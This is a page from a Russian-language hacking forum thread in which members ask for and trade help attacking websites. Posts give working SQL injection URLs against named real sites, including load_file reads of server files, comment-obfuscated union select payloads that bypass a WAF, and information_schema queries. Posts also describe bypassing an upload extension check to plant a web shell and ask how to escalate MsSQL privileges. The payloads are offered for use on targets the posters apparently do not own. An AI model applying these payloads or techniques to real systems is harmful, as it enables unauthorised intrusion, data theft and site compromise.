Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 865 of 1207
  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    чтоб проверить на включение file_priv, можно воспользоваться функцией локального чтения файлов, load_file(), или если доступна БД mysql.user, то в ней можно просмотреть на учетную запись сайта file_priv
     
    _________________________
    #17281 winstrool, 7 Jul 2011
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Пропустили php4. Если на сервере установлены дополнительные яп/в application/x-httpd-php прописано нестандартное расширение - можно воспользоваться этим.

    Мы можем пройти эту проверку:
    PHP:
    if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )     SendResults( '202' ) ;
    Если напишем в переменную $_GET['Type'] то, что не предусматривает разработчик(Например '!!!'). И соответственно зальём шелл.
     
    #17282 randman, 7 Jul 2011
    Last edited: 7 Jul 2011
  3. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    а можешь показать как ето делать на примере, например тут
    http://www.miroboew-kazan.ru/news.php?id=3%27+union+select+1,2,3,4%20,5,6,7--
     
    #17283 qaz, 7 Jul 2011
  4. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    http://www.miroboew-kazan.ru/news.php?id=-3+union+select+1,(select+load_file('/home/virtwww/w_miroboew-kaz-ru_37979ae4/http/news.php')),3,4,5,6,7--+
    Только у тя прав нету файловых

    И вообще, по теме залива шелла через мускульную инъекцию дохрена написано. Не проще почитать всё разом, чтобы усвоить всё сразу? Тебе ж выше в куче постов всё подробно разжевали что и как.
     
    #17284 Melfis, 7 Jul 2011
    Last edited: 7 Jul 2011
    1 person likes this.
  5. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    што дебе дало знать што прав нету? и што бы я увидел если бы они были?
     
    #17285 qaz, 7 Jul 2011
  6. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Подними у ся вебсервер, сделай какой-нить простой скрипт с выборкой из базы и принимаемым параметром от юзвера. И собсна потесть. В основном при установке ты будешь под рутом, у которого есть file_priv - там и увидишь что и как.
     
    #17286 Melfis, 7 Jul 2011
  7. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Если прав нету, то ничего не выводится. Если есть - содержимое файла ;-(

    зы. разве в пхп можно через echo выводить массив? Но тут может я ошибаюсь...
     
    #17287 Melfis, 7 Jul 2011
  8. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    У себя сервер, :mad: где ты будешь под рутом, а не на хостинге. Так же убедись, что путь с файлом существует.
     
    #17288 randman, 7 Jul 2011
  9. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    четыре
     
    #17289 Чакэ, 7 Jul 2011
  10. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Тогда уж так:
     
    #17290 randman, 7 Jul 2011
  11. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    просто я извращенец :D
     
    #17291 Чакэ, 7 Jul 2011
  12. Eridan

    Eridan New Member

    Joined:
    7 Jul 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    У меня вопрос по Sql-injection. Есть вроде бы инъекция вот здесь: http://today.od.ua/showphoto/876
    С помощью order+by можно узнать количество полей.А дальше с union select запросы не проходят,выдает ошибку,на проверки типа +and+1=1 то же самое. Помогите пожалуйста разобраться с данной проблемой.
     
    #17292 Eridan, 7 Jul 2011
  13. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    Помогите плиз
     
    #17293 Sc0rpi0n, 8 Jul 2011
    1 person likes this.
  14. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    #17294 aka_zver, 8 Jul 2011
  15. Extender

    Extender New Member

    Joined:
    28 Nov 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Приветствую, есть MsSQL сервер, есть доступ к базе данных(не через инъекцию).
    Все бы хорошо, но:
    Как можно повысить себе права? Можте кто-то уже делал запрос?
    Читал мануалы по мсскл, но не вкурил =(
     
    #17295 Extender, 8 Jul 2011
  16. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    Помогите пожалуйсто обойти WAF http://www.melonfire.com/community/columns/trog/print.php?id=263
     
    #17296 Sc0rpi0n, 8 Jul 2011
  17. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    http://www.melonfire.com/community/columns/trog/print.php?id=263%20and%201=2%20/*!unIon*/%20/*!sElEct*/%201,2,3,4,5,6+--+
     
    #17297 Seravin, 8 Jul 2011
    1 person likes this.
  18. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    Помогите плиз опять с WAF. Теперь нужно понять как выводить из таблиц)

    Code:
    http://ironmiketyson.ru/article_read.php?id=-1/*!unIon*/ /*!sElEct*/ 1,version(),3,4/*!from*/ /*information_schema.tables+--+
     
    #17298 Sc0rpi0n, 8 Jul 2011
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://ironmiketyson.ru/article_read.php?id=(0)union(select(1),2,3,4)--+
     
    _________________________
    #17299 Expl0ited, 8 Jul 2011
  20. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    ты чё КЭП??

    смотри внимательно на мой линк. до этого момент я сам разобрался. проблема в +from+information_schema.tables+
     
    #17300 Sc0rpi0n, 8 Jul 2011
(You must log in or sign up to post here.)
Page 865 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.